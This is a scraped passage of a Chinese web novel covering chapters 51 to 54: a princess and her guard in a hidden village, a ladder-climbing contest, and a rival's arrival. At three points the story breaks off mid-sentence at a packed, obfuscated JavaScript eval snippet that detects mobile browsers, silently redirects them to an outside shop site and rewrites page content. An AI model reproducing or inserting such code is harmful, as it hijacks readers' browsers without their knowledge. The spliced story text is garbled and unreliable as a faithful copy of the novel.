“阿爹,今日我想跟你引荐一个人。” 裴淮从屏风后走出,宋庆好奇地打量他,一时间有些拿不准什么意思,惊讶半晌不确定的开口问道,“你们……” 话到嘴边又说不出来,若是进宫的宫女和人私通,那是大罪。 苏月清打断他的猜想将关系挑明,“阿爹,不是你想的那样,这位是北唐的璃王,他知道我的身世。” 宋庆此时更是惊讶地说不出来话,北唐的璃王他也曾有所耳闻,可谓是少年英杰,后面天妒英才璃王成了北唐政斗的牺牲品,时隔这么多年,璃王音讯全无,传闻他死了,没想到如今竟站在自己面前。 “他……”宋庆一时说不出话来,起身将苏月清拉到一旁压低声音询问,“你怎么跟北唐的人扯上关系,若是皇上发现,那可是抄家灭族的大罪,清清且不说他是不是真的璃王,就算是,你怎么能跟他牵扯在一起,你快些回去,我就当不知道这件事,日后也别在来往了。” 苏月清握住宋庆的手安抚道,“阿爹,他知道我的身世,当年你将我捡回来,只有身上一块玉佩刻着我的名字,这么多年我从未放弃寻找我的亲生爹娘,您对我恩重如山,只是我不想丢了缺失的部分。” 她看了一眼已经坐在凳子上的裴淮,下定决心郑重道,“阿爹,我是北唐人,我想回到北唐去,我要去拿回我爹娘留给我的东西。” “你怎么这么执拗,现在你进了宫,哪有那么容易脱身。”宋庆叹息一声,语气满是无奈。 这个孩子,他一手带大,最是聪慧,还拜入神医门下做关门弟子,很是长脸,进了宫还升到皇上身边做事,他时不时进宫汇报公务尚能见到自己的孩子安然无恙,就算出宫后面他辞官请求,皇上也能准许她离开出去嫁人,后面安稳度过此生。 现在一切都不按他的想法来,孩子走的这条路越来越危险,他着实不忍心看她把自己的性命弃之不顾。 “清清,听为父一句劝,这件事咱们不掺和,好不好?” 苏月清当即冷了脸,甩开宋庆的手背过身去,“阿爹,我想知道我亲生爹娘为何弃我于不顾,我不想就这么放弃,他说原本属于我家的东西被人霸占,里面有爹娘留给我的东西,我必须要做到,如果你不同意,那我们今日没得谈了。” “清清,爹不是这个意思。”宋庆赶忙哄着苏月清,“只是非要跟他一个北唐皇子合作不可吗?” 宋庆心里还是担心这位璃王是否会出卖他,或者一旦东窗事发他一家子该怎么办。 苏月清见自己爹有松口的意思,赶忙趁热打铁,“阿爹,他是唯一能搭上北唐跟我身世有关的人,女儿跟他已有万全之策,不会牵连阿爹,他们查不出来。” 在苏月清好说歹说下,宋庆终于松了口,答应下这件事。 裴淮也跟他保证,“宋大人放心,这件事我们绝对守口如瓶,不会让第四个人知道,同样我也会保证你的安全,若是事成,我绝对会让你成为北唐功臣!” 尽管心中还是有些不情不愿,他为了苏月清,也只好应下来,“你想让我干什么?” “我知宋大人被李之夭困扰许久,在下愿为你解忧,现在她下落不明,但横竖跑不出方圆百里,我想骊山附近的地图。” * 晚间的莲花村很是热闹,家家户户不再早早灭灯歇下,用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14019925|142084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 完晚饭后先是围着村子里的同心湖放花灯,做完这一切,顺着溪水追逐漂流而下的花灯,看谁的花灯第一谁就是今年最幸运的姑娘,同时也会得到村中年轻男子的青睐,等于掌握了自己的婚姻大事。 同心湖就是李之夭他们最开始出来的那片湖,因为中间是一座小山包,成圆形,从最外面看宛如一个同心圆,因此得名。 李之夭爱凑热闹,跟着年轻的姑娘们齐齐放下花灯,看谁追逐着花灯下去,溪水最后会抵达村子中心的空地上,那里也是载歌载舞的平台,更是看男儿们比赛争抢头筹的地方。 纪无涯抛着手里的银币,跟在李之夭身后,他没挤在姑娘中间,而是远离了人群,走在他能一眼就看到李之夭的位置。 一清瞧见也跟上来,望着不断往下走的姑娘,“你觉得她会第一吗?” “不清楚。” 花灯漂流而下,会遇上许多难以控制的因素,比如底部破损或是撞到岸边,被水草阻挡,要么就全部堵塞,谁是第一真不好说。 一清失望地垂下头,“其实我还挺希望桃花夺第一呢。” 纪无涯看了看手中的银币,显得有些心不在焉,“也不是不行。” “吹牛,我先走了,大力喊我过去了,我要再去看看天梯安不安全,若时间来得及,我也会去参加比赛。”一清撞了撞纪无涯的胳膊,去追前面的大力去了。 一时间又剩下他一人,纪无涯看着见李之夭快要看不见了,才跟上去。 不出意外的,李之夭并未取得第一,获得第一的姑娘花灯被后面涌来的灯撞了一下,往前跑去后面顺风顺水,直接越过终点线。 她捞起花灯,抱住等在终点的一名年轻男子,手中高举花灯,开心呼唤:“我是第一!我是第一!” 男子满目神情的看她,两人瞬间接受许多人的祝福。 李之夭从水里把写了自己名字的花灯捡起来,身后是熊熊燃烧的篝火,冲他笑道:“这游戏还挺难的。” 纪无涯有瞬间恍惚,鬼使神差的点头:“嗯,很难。” 宁静的气氛中,他忽然觉得自己的心也瞬间软了下来,很是享受此时的氛围。 在这一瞬间,他真的想这样一辈子。 忽然有人高喊道:“登云梯比赛开始了!要参加的快来报名啊!” 登云梯的场地是在村子中心的空地上搭建起篝火,篝火旁是一道莫约二十米的云梯,在云梯最顶端放了一朵紫色的七瓣花,花奶奶说此花只有在今日才开花,一年只开一朵。 为此莲花村就将花采摘下来当做比赛的彩头。 组织比赛的人将手中铜锣敲得震天响,瞬间吸引不少村中身手好的男儿去报名参赛。 纪无涯站在原地没有离开,而是看向李之夭,反倒敲锣的人眼尖叫住他,“新来的小哥,你要不要也来试试!” 不等他回答周围起哄的人就拽着他涌进人群里,推倒桌子前,将他名字给写了上去,还挂上了特制的花环在身上。 他站在比赛的队伍中,莲花村会武的男子不多,加上一清和他也不过才十几人,他抛起手中银币,看到对面的李之夭。 “加油啊!”后面三个字,是她用嘴型说出来的,他的名字。 加油啊,纪无涯。 52. 比赛 第52章 咚—— 随着一声铜锣响,比赛便开始了,男子们争先恐后朝云梯奔去,都想做第一个攀登上云梯的人,想亲手摘下紫桑花送到最想送的人跟前。 纪无涯不紧不慢的混在队伍里,一清反而一骑当先,他是最先来到云梯下的人,眼看身后大部队赶来,急忙在腰间系好安全绳手脚并用往上爬,但他刚往上走,就被人拽住了脚腕,两人一来二去,反倒是纪无涯先往上赶了去。 这样的挑战对他来说相对轻松,若是用轻功的话不消片刻便能揭晓答案,但这样也就失去了比赛的乐趣,入乡随俗的道理他懂,而且这是人家的擂台,他也没拆台的道理。 现在他反而阴差阳错成了率先登上云梯的人,一清在他身后着急喊道:“阿福!你没系安全绳!” 纪无涯回头:“多谢,我不用。” 安全绳是从高处垂下来的绳子,万一云梯坍塌也能保护人,但安全绳在高处远近不同,拴在他身上,反而有些束手束脚。 受伤这几日他恢复得差不多,正好练练手。 一清见他速度虽然不快,匀速往上,丝毫不受影响,他太想要那朵紫桑花了,摘下来送给桃花。 因为在莲花村关于紫桑花的事他没完全说出来,摘下紫桑花的男子会将其送给心仪的姑娘,若是姑娘接受,说明他们心意相通,视为定情,后面便能顺理成章张罗两家婚事,往后他们二人将接受神女的祝愿,幸福美满。 他第一就喜欢了桃花,后面相处几日更是令他心动,想摘下来亲自送到她跟前,同她表明心意。 这是关于莲花村每年的传统,上了擂台的人,谁不想亲手把花送到喜欢的姑娘手里。 一清猛地解下腰间安全绳,迅速甩开跟他纠缠的人,奋力朝纪无涯追去。 台下的人看得清清楚楚,大惊失色,站在台下的大力也不满皱眉,“一清这小子在干什么,跟着阿福一起也太过胡来,万一发生什么意外,这么高的地方下来可是要出人命的。” 李之夭误会大力语气里的责备,冲他歉意地笑了笑,“是我侍卫胡来乱了规矩,抱歉。” 大力没想到自己的话被正主听了去,没再出声扭头走开了。 对于他们的到来,大力心里始终没接受,在他看来,进村的人是由村子里的人请进来,他们二人是不请自来,还是从机关洞里出来。 来路不明迟早要生祸事,也不明白一清那小子究竟喜欢她什么。 李之夭并没在意大力对她的爱答不理和防备,她没法做到让每个人都满意,只要做好自己不添乱就好。 惊呼声将她的注意力吸引,只见云梯上已经陆陆续续送四面攀登了许多人。 支撑着云梯的是长在中央四棵粗壮的大树,它们顺势生长在一起,涨到最后四棵树的额树枝竟连在了一块继续向上和四周生长。 此时一清已经赶上纪无涯了,他笑道:“往常几年我都没想参加这样的比赛,但今年不一样。” 纪无涯听着一手抓着麻绳编成的网格线,抬脚侧身另只手抓住另一面的麻绳上,刚好避开下面想将他往下拽的男人。 男人扑了个空想调转目标,一清察觉同时也躲开了。 他往纪无涯那边靠了靠,面上笑容愈发灿烂,“因为我想把紫桑花送给一个人。” 送给一个人。 心中瞬间有了答案和猜想,事实证明他没有想错。 一清往上爬了爬,很快超越慢吞吞地纪无涯,“要送给桃花!”他往后看了一眼,一眼就发现人群里站着的倩影,身上似乎更有动力。 他扭头看向后面的纪无涯,“阿福,你会祝福我们吧,若以后你想离开,或是看上村里的哪家姑娘,我定会帮你!但今日的头筹我要定了!” “据我观察,她并非你的良配。”纪无涯如实说出自己心里的想法,一清并不在意。 “莲花村不讲究这些,只讲究心意,心意相通便没人会阻拦,往后顺遂谁都是良人。” 纪无涯往上赶去,“她身份跟普通人不一样。” “我知道,但她既然答应留在莲花村,都是一样的!” 村里人的淳朴善良,说什么就是什么,只是李之夭心眼子多得很,加上他都能看出来答应留下是为了让他有养伤的时间,若他伤好,还是会离开的。 她的身份,成婚对象必然千挑万选,也由不得她自己做主。 况且,他能想到,李之夭不会答应的,看着眼前少年一腔热血,为避免后面吃瘪遭受打击,纪无涯不由多说了几句,“她确实与旁人不同。” 一清不以为意笑道:“有所不同人当如此,我知你为我好,心意已决就别劝我了。” 他们二人交谈期间,动作缓了下来,就在此时身后有人赶上,直接跟一清动起手来。 纪无涯这边亦然,别人仗着自己有安全绳,可以肆无忌惮的动手,招招冲着想将他揍下去的念头而来,但他们这样的肉搏,对他来说就跟普通百姓学了几招花架子那般。 一拳接着一拳,拳头受压制,便改用脚踢,纪无涯双手发力,脚踏轻功,整个人身子直挺挺横在半空中,若非他手拽着麻绳,他们都以为他要飞起来一般。 莲花村的人哪见过这样的,个个呆愣在原地,惊讶地看着他,引得台下一片惊呼。 趁大汉愣神,纪无涯再次侧身翻向云梯的另一面。 云梯共有东西南北四面,最开始登上的是为北面,现在他由北转向东,再由东转向了南面,南面是竞争最激烈的一面,见他过来,与纪无涯有相同高度的一名壮汉和精瘦的男子在其右边。 闯进了不速之客,他们顾不得交手,反而是将矛头一起转向纪无涯,两人分别左右包抄夹在中间开始大打出手。 底下的人因为攀登云梯或是刻意摇晃云梯,导致四面的网一直在剧烈摇晃,不少人因晃动幅度过大,从上面落了下来,下面在打,上面也在打,篝火烧得猛烈,观众热情高涨,一时间不知该先看上还是先看下来的好些。 纪无涯身形灵巧,一打二的局势丝毫不落下风,但他从头到尾都只是防御未曾反击,躲避起来上蹿下跳,气得胖瘦二人愈发想要讨要个胜负。 当纪无涯刚避开胖瘦二人,手搭上西边的麻绳时,发现绳子不对,他用力抓住的那一截绳子竟然断开,因此重心下坠,眼看就要摔落在地。 观众再次惊呼,有人甚至捂起眼睛不敢看,李之夭目光一直追着纪无涯,她跟着纪无涯的位置变换也随时调整自己观看的位置。 他身上没捆安全绳,此时皆在将近地面十五米的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14027119|142084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 位置,若是摔下来人就没了。 她的心也随之揪紧,他的名字差点脱口而出,刚到嘴边见他忽然使用轻功,使出乘风诀,身如燕雀迎风而起,再次去到断口之上一截,是目前领先的人。 李之夭默默把名字咽回去,是她想多了,胆敢不用安全绳的人,怎么会对自己什么身手没点数。 众人惊叹纪无涯身手,人家不是不会武,而是压根不想下他们的面子,这才装到现在,若不是麻绳断裂,他还不会暴露。 尽管如此,攀爬的人依旧不放弃,因为都还没到终点,胜负未可知,于是场面再次热闹起来。 他们不在专注手□□流,而是铆足了劲想超越前面的人尽力搏一搏取得彩头。 纪无涯这次没有在刻意放缓脚步放水,很快就抵达终点,正当他要取下紫桑花时,意外来临,麻绳因磨损严重,再也承受不住这么多人的重量,一面率先崩断,剩下三面因为力量的不平衡也齐齐紧绷要断开。 一清所在的位置正是绳子裂开的北面,有安全绳的人第一时间顺着绳子滑下去,而他失重没地方支撑,只能从半空坠落。 顶端的纪无涯见状顾不上紫桑花,脚踏乘风诀奔向一清救他。 一清被人拽住向上,看到往下掉的紫桑花,他下意识伸手握住,紫桑花的花瓣此时也只剩下零零散散几片,再回神时,他已经安然无恙的落地。 观众迅速围拢上前查看他是否有事,其余比赛的人及时撤离,并没受伤。 当所有人看到一清手里紧握的紫桑花时,恭贺声响起,所有人都见到是纪无涯先到终点并取下紫桑花,只是最后紫桑花在他手里,莲花村的规定是谁拿到紫桑花,头筹便是谁的。 他冲纪无涯道谢后就被人围着说话,纪无涯什么时候离开人群的都不知道。 他走出去,喧嚣少了许多,李之夭在人群之外等他,笑眼盈盈,给他送来了一朵路边采摘的鹅黄色的小花。 “给你的,我都看见了。” 纪无涯接过小花,眼眸忽然柔了几分,“怎么给我送这个。” “别的没有,只能送这个了,钱是不可能给的,因为我也没捞到什么好处,我是个生意人。”她催促道,“我们回去吧。” 纪无涯想到云梯上一清跟他说的话,见她丝毫没有察觉的样子,“你不等等一清吗,他应该有话要跟你说。” 李之夭诧异:“什么话非要现在说,回去不也一样,他拔得头筹,想必还能玩上一会儿,我就不继续凑热闹了,想找个清净的地方待会儿。” 莲花村的同心湖旁边有片草地,今日她放花灯时发现的地方,位置不高但视野开阔,能望见好远的天和星星,野花遍地都是。 她和纪无涯一前一后上来,惊起流萤四散。 “我白日里特意观察过,我们是落水后才误打误撞进来,机关洞的洞口现在日日有人把守,想原路返回必然不能,所以水才是关键,这里视野刚好能看清楚莲花村的全部水系。” 眼下太黑,纪无涯也无法看出来什么,但他算了算时间,确实不能再继续耽搁下去了。 “我们恐怕不能等花奶奶过完生辰了,得尽早离开。” 此时身后有声音怒气冲冲传来。 “我就知道你们两个就没真心想留在这里!” 53. 真心 第53章 来人是大力。 他从旁边的树林里钻出来,面上满是愤怒。 大力本来就不相信他们二人愿意乖乖留在这里,今晚见阿福几次救下一清,心中嫌隙渐消,一清夺魁后两人便离开会场,跟随至此本想跟他们道歉,谁知听到他们的筹谋。 心中那份愧疚荡然无存,“我要把这件事告诉村子里的人,你们休想出去带人回来扰了莲花村的安宁!” 大力说完转身就跑,纪无涯飞身上去拦住他还顺手点了他的穴。 李之夭瞧见大力站在原地动弹不得,“你拦他作甚?” “他要去叫人。” “你这么做不就是坐实了你我居心叵测么?你赶紧把他放了。”她惊诧出声催促着纪无涯放人,要是再被误会,他们有嘴都说不清。 “点都点了,他回去还是会说。” 言外之意,他们现在已经做了,有嘴也说不清。 但纪无涯还是老实解开穴位,不给他反应的机会,便将他敲晕过去。 壮实的男人瞬间如烂泥一般瘫软在地,不省人事,李之夭头更大了。 现在是有嘴也说不清,“你干嘛还打晕他?” “不能让他回去告状。” 二人站在原地思索接下来该如何面对时,一清却带着村民浩浩荡荡的走了过来,众人高举火把,火光亮堂,把他们三个人的脸清晰的照出来。 一清看到地上躺着的大力,李之夭还想出声解释,没想到他们莲花村的人压根就没怀疑,“桃花你们怎么在这,是看到我们找大力找不到也一起出来了吗,竟被你们先找到了。”他说完招呼着村民上来抬人。 大力被人抬下去,从始至终李之夭二人都没解释一句,就被一清轻而易举给圆了回去。 他带着人离开时看向李之夭,神情欲言又止,最后愣是一句话也没说,跟了上去。 一清在夺魁后便先去找李之夭,却瞧见她冲身边侍卫言笑晏晏,为他送上一朵花,哪怕再平常不过的花在他眼里都显得弥足珍贵,比他手里那朵凋零的紫桑花更加独一无二。 在那一刻他忽然明白擂台上阿福的话是什么意思。 他常年跟随在身边,看什么都比他这个外人来得更加准确。 她从来都不会属于这里。 看到大力跟上去,阿福竟然都没有发现,为了不出岔子,估摸时间一清开始招呼着找人,顺着他们来的方向寻人。 一清将大力送回家中,村民离去,他坐在一旁静静等着他醒来。 烛火燃尽,夜将天明,今日的莲花村又恢复往日祥和,昨夜带来的喜悦现还漾在每个人的脸上。 花奶奶帮纪无涯检查完伤口,伤口愈合得很好,再过两日就能痊愈,重新上完药包扎起来,他穿好上衣,主动帮花奶奶收拾摊子,将水端出去在屋外的水沟里倒掉,瓶子摆放整齐,还把屋子里里外外全都打扫了一遍。 李之夭是跟一清一块回来的,他晚上一夜未归,今早她便主动承担下去菜地里摘菜的任务,回来的路上两人刚好遇上。 昨日纪无涯同她说一清可能有话要跟她讲,但走了一路也不见他主动提及,李之夭便也没主动询问,来到家门前,纪无涯放下手中扫帚,上前接过她手里的菜篮子。 他看了眼一清便朝着后厨过去,刚过拐角一只白鸽便飞了过来,停在他肩上。 是寻方传来的消息。 寻方和雪都从宫里出来了,到骊山上不见他的踪影,守义镇也寻不着,反倒跟十护法和十二护法撞见打了一架,只好飞鸽传书看他如今在何处。 既然能收到飞鸽传书,就表示这里并不是真的与世隔绝,至少跟外面还是有些联系的。 因为花奶奶给他用的金疮药,就是从外面采买回来的。 “是要准备走了吗?” 花奶奶站在厨房门前一脸慈祥地笑着,纪无涯没有点头也没有摇头,就算他想离开,但李之夭也是个有自己主意的,做事总得同她商议一番,“如何见得?” 花奶奶解释:“今日一早我见白鸽盘旋不肯离去,二十一年前老头子准备离开时我见过类似场景,后来他回来的时候丢了半条命。” 纪无涯将手中信纸用内力碾碎,扔进泔水桶里,“奶奶可还记得当年爷爷是去了哪里?” “若我没猜错,他先去的地方是缘楼,后来便不得而知了,我未曾过问他的去向,他怕我担心并未跟我说太多。” 她转身回去厨房,“其实我知道你们二人并非心甘情愿留在这里,但从那日我见你们穿着就知你们身份不简单,特别是桃花姑娘,若留在这里,后面也会给莲花村招来祸端,但出村的路只有大力一人知晓,村里有些才买每个月大力都赶两辆牛车出去,再用牛车拉回来,村子四面环山,周围多迷雾高树,没出过村或是不熟悉这里的人很容易迷路。” 明白花奶奶是在帮自己,纪无涯心头升起一股暖意,“多谢。”现在他也不确定后面会不会出现变故,但根据前世的记忆,后面裴淮曾带人烧了一座村子,名字就叫莲花村,他提醒道,“奶奶日后还请勿要在村中留人,若有人字中带淮请务必小心。” 他前世并未参与其中,那是裴淮和苏月清二人被找回来后发生的事情,当时他因旧毒复发卧病在床,这些都是杨刻亲手带人造成的。 此番提醒,若能助莲花村逃过一劫,也算结了一份善缘。 花奶奶记下他的提醒,他是纳多邀月后人,体内邀月毒若是不能尽快解开,除了武功尽失,随时都会有丧命的危险,“你有药珠,若是离去,尽快用药珠解毒,切莫再耽搁了。” 纪无涯应下:“好。” “桃花体内的留羽之毒,药珠虽然可解,但是你的救命符,出去之后尽快带她去缘楼寻解药。“ 李之夭中毒是因为他,无论如何他都不能坐以待毙,药珠神奇,但世间仅此一颗,还只能使用三次,如今还剩一次,也不知留下来是福还是祸。 纪无涯寻来矮凳在水井边坐下开始择菜洗菜,很快李之夭和一清也过来了,二人神色如常并没有说别的什么话,一清进去帮花奶奶做饭,李之夭则留下来帮他。 “我收到寻方的信了,鸽子身上留了我们特制的香,过不了几日他和雪就会来带我们出去。” “好,那日追你的两人是谁?” “是缘楼的护法,用飞镖的那位排名十二,名唤林江,剩下那位排行第十,叫九明,应是上次跟雪过来带我回去的。” 那日晚上林江出手压根就不想纪无涯活着回去,没在飞镖上下毒,若是知道他中毒身亡,在楼里不好交代。 他虽暴躁鲁莽,但在事上并不蠢。 “那日刺杀共有四批人,其中裴淮是冲我来的,最开始办成百姓混在队伍里的我感觉他们想是江湖中人,我本以为是冲我来,后面想想并不是,除了我就是你,他们没跟我做纠缠,见我离开也没派人追上来,倒是苏月清跟来了,她来了之后,杨刻出现,后面你们缘楼护法,最后出现的黑衣杀手并不是裴淮手下的人,他们听命于一人,目标很明确就是我,若是裴淮手下,发号施令的人就不会出现。” 李之夭开始分析当日情形,仔细想想,四批人分别冲她和纪无涯而来,他们现在肯定满大山的和禁军争先恐后抢人。 若先被禁军发现,运气好,若是被他们撞上,万一双方一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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大力尚在发懵,脖颈处传来的酸痛使得浑身不自在,但村长催促,大力无奈只好留下一句看好桃花二人就起身去牛圈里分别牵出两头牛套上绳,前面的牛开始走,后面的牛也跟着,一前一后顺着田埂走进不见天日的树林里。 大力的爹娘早在他年轻的时候就去世了,家中只剩他一个人,他力气大,聪明有主见,更是村里的主心骨之一,知晓出村的路,因此莲花村的人对他很是客气。 他一路出村,村子里的人不会想出去,但这次他还是一路走一路掩盖了牛车行驶的痕迹,为的就是不想让人发现。 时间将近中午,他才来到守义镇的入口,此时面上大汗淋漓,但不敢耽搁时间,晚上天色一黑,树林位置跟鬼一样会变了位置,就连他走了这么多年都不知其中门道。 他下了牛车,一手牵着一头牛,就往镇里走。 今日却跟往常有所不同,凡事进出城镇的人个个都要查验身份或者查看身上是否佩戴武器之类的。 大力不明白为何,赶忙抓住一位出城的老伯询问,“老伯,这是出了什么事?” “当今圣上住在这骊山上,前几日七月初七一位公主下山游玩,遭遇追杀至今下落不明,如今城里已找她已经找疯了,为避免意外再次发生,现在进出守义镇都要排查一遍。” 公主失踪这可是惊天动地的大事,大力不敢再继续多问,进城采购了物品,又架着牛车出了城。 只不过进山的时候却发生了一点意外。 一名姑娘拦路倒在跟前,他不得不停下牛车下去查看,姑娘衣裙不菲,面色惨白,死死拽着他的袖子哀求。 “救……救我,我不想跟那些人回去……” 54. 追随 第54章 大力回来的时候还带了名姑娘,短短几日,莲花村接二连三来了三名陌生人,孩子们的好奇围在大力牛车附近,打量躺在后面牛车上晕过去的姑娘。 听闻牛车回来,拜托采买的村民聚集到他家门口,看见牛面牛车上躺着的姑娘,个个伸长了脖子看。 “你帮我请花奶奶来一趟。”他看了眼最近的孩童,自己则将姑娘放在床上才合上门出去给村民们发东西。 婶子朝窗户往里看了眼,忍不住八卦道:“大力,你从哪里捡回来的?” 大力冷哼一声,“就算有问题不及那两位问题大,男的身手并非常人,女的看上去柔柔弱弱,可不知打得什么的主意。”将牛车上的两匹布取下来放在婶子手里。 村子里谁都知道他脾气上来跟头牛一样倔,尽管在别人眼里,桃花和阿福都是个称心如意的,帮过他们不少,昨日阿福还救了一清,他们更是看在眼里,只觉大力一根筋拽不回来。 花奶奶杵着拐杖扶着李之夭走来,他们家的伤药这两日用得差不多,村长走访询问的时花奶奶也将需要该带的东西告诉给村长,再从钱罐子里取出些碎银子交到钱袋子里。 人回来了该过来取药,加上说有名昏迷的姑娘需要她看看,花奶奶便亲自来了。 进了屋中李之夭瞧见床上的人竟是苏月清一时愣在原地,花奶奶察觉朝身后看了看,见大力没跟上来还在外面给领东西的村民核对清单,压低声音道,“认识?” 李之夭没有隐瞒,同样压低声音说了句是,“我七月初七遭遇追杀,虽她不是主谋,但也有关系,她曾将我推向敌人刀口下,若不是阿福救我,当时已遭她毒手。” 花奶奶哎哟了一声,“我的老天奶,你们冤家聚头,若她见到你岂不是要生波澜?” 苏月清出现在这里,意味着裴淮也会找上门来。 她在心底叹了口气,为今之计先走一步看一步,毕竟苏月清的出现是她始料未及的事。 诊脉时,李之夭注意到苏月清指甲缝里有白色的粉末,她和花奶奶互相对视一眼,花奶奶又随意检查了下若无其事起身扶着李之夭出门。 大力迎上来询问她的情况,花奶奶语重心长道,“从脉象看只是晕过去,别的并无大碍。” 她紧紧扶住李之夭手臂往前带,走了几步不放心停下叮嘱,“那姑娘你仔细照看,从外乡来的,看她模样也是锦衣玉食长出来的小姐,别怠慢了人家,但防人之心不可无,你自己也小心些才是。”说完大力先是睨了一眼李之夭才出声应下,至于他听进去了几分只有他自己知晓。 从大力回家的路不长,走到没人的地时花奶奶才道:“你可知她指甲里白色粉末是掺了荧光粉的追香,大力将她带回来,恐怕路上暗中留了不少印记,方才替她把脉,她脉象正常不像晕厥之人。” “她是冲我来的,她虽孤身一人并无威胁,若是她身后的人追着香粉赶来,莲花村怕是被牵累。”李之夭安抚地拍了拍她手背,冲她笑道,“奶奶这些天多谢你照拂,我很开心,只不过现在我必须得走了。” “孩子。”花奶奶拉住她,“你们不知出村的路,而且晚上林中变幻莫测,迷雾四起,很容易迷失方向,况且她人就在这,你若要走我也不拦着,但需想好对策怎么走才是问题。” 花奶奶心中百感交集,见此女她莫名想起阿福的额提醒,直觉告诉她两人必有联系,“她是不是认识一名字中带淮之人?” 李之夭闻言应了一句是,她们继续往家赶,“奶奶知晓此人?” “阿福白日里提醒过我,小心名字里带淮的人。” 回家路上花奶奶紧皱的眉头就没松下来过,李之夭尽量宽慰说不会有事,他们也不会目无法纪到滥杀无辜。 若是不会为何纪无涯会说那样的提醒。 纪无涯此时坐在门前的桃花树上,手里把玩着银币目光追随从坡下上来的人,这棵桃花树极高,且枝叶繁茂,在上面视野开阔,能清晰看到下面的动向。 待人走近他从树上下来,一清听到动静出门来接花奶奶。 李之夭留在外面,她想问纪无涯为什么会出言提醒。 但她刚看向逆光中的人,不等开口,忽然头疼欲裂,仿佛有什么东西拼命往里钻,从前被虚化了的记忆在此刻变得清晰起来。 记忆里是莲花村,黑衣杀手肆意横行到处抓人,大火熊熊燃烧,裴淮站在他们跟前望着,目光悲愤异常,杨刻手起刀落一个一个诛杀村民,似乎在盘问什么。 “你没事吧?”纪无涯出声,将她意识唤回,李之夭险些双腿瘫软跌坐在地上。 裴淮曾烧毁的一座村庄,竟是莲花村,那也是裴淮唯一毁掉的村子。 当初裴淮和苏月清遇难流落的村庄是莲花村,在这里他们同样邂逅花奶奶,花奶奶像裴淮说什么,但一阵耳鸣声覆盖了声音,记忆里花奶奶在说话,裴淮震惊不已。 他们同样在这里待了十天,一清还对苏月清产生了感情,擂台夺魁的人是裴淮,他取下紫桑花后送给了苏月清。 莲花村的人皆知紫桑花含义,在他们起哄声中,苏月清接下了紫桑花,剩一清暗自神伤。 原本属于男女主的剧情,却被她和纪无涯误打误撞走了一遍,本该站在裴淮那边的花奶奶,此时站在了他们这边。 裴淮和苏月清在大力的帮助下离开了莲花村,只不过出去后裴淮第一时间便派人去寻找真相,发现事情往往不像他看到的那么简单,后去而复返,对莲花村爱恨交加,多日在村中的感情,和真相下的悲痛,让他选择了最为极端的方式。 什么真相到这里在记忆中又模糊了。 剧情注定男女主必须来到莲花村,也必须揭开真相走剧情,书中是男女主被追杀,误打误撞来到莲花村,现在换成了她被男女主追杀,女主追寻她的下落,来到莲花村。 总之跟莲花村脱不开干系。 不管过程如何,他们要在这里让裴淮知晓他必须知道的东西。 裴淮的母亲并不是北唐高门大户家的小姐,是北唐庆安帝外出游历时带回来的一名姑娘,姑娘灵动活泼跟庆安帝伉俪情深,后为他诞下裴淮。 母家身份卑微,尽管裴淮聪明绝顶,为人中龙凤,因为更招人记恨。 她母妃诞下裴淮当日去世,安庆帝更是下令宫中不许人提及此事和他的生母,他在宫中由一名不受宠的妃子抚养长大,妃子正是苏月清娘亲母家的姐妹。 觉醒后的记忆在一些关键地方便没了动静,李之夭看向纪无涯,他让花奶奶小心裴淮,“你是不是知道点什么?” 纪无涯被看得有些心虚,重生在外人眼中实属无稽之谈,说出来总是没人信的。 “没有。” “那你为何会给花奶奶提示?” “缘楼的情报网而已。”他答,若是在问下去也不敢知如何回复才会不让人怀疑,心中忐忑转移话题,“看到了什么?” “苏月清来了。”李之夭看出他的回避并未刨根问底追究下去。 他有秘密既然人家不想说,她也不是强人所难,但有个念头在心里落下了种子。 她和纪无涯或许在某种联系上属于一类人。 纪无涯怔住,重生前裴淮苏月清回来后先去了一趟北唐,他则带着裴淮在大魏的势力留守,一方面因为他毒发在床,日日备受折磨,另一方面裴淮这时并不是真的信任他,而在这段时间里裴淮和苏月清做了什么已是超出他的认知。 裴淮并不是会事无巨细同他说的人,而他的性子属于不会主动去问的人太多,况且他身为裴淮暗卫,主子不愿意给他知道的事,又怎么会说出来,是他能越界问的。 “我们得离开。”这话在一开始的时候他就说过。 “纪无涯你有没有想过,村子里的人见过我们,苏月清稍加打听就会知道,她留了香粉给裴淮指路,他们过来若是找不到我们,莲花村的人就是遭殃。” 她不是忘恩负义的人,莲花村里的人对她都很好,早上出门散步,婶子还会给她塞两个自己做的大肉包子,就连村中的狗也会围在她脚跟前打转。 下午天气炎热,叔叔伯伯们还会给他们送来又大又圆的西瓜,泡在井水里,捞上来的瓜吃起来都是又甜又凉。 他们走了男女主的剧情,莲花村又是剧情的交点,那么不管怎么样,他们一旦离开,莲花村的人还是要死,裴淮还是会发现什么。 她现在不光是想给裴淮添堵,她想救莲花村的人。 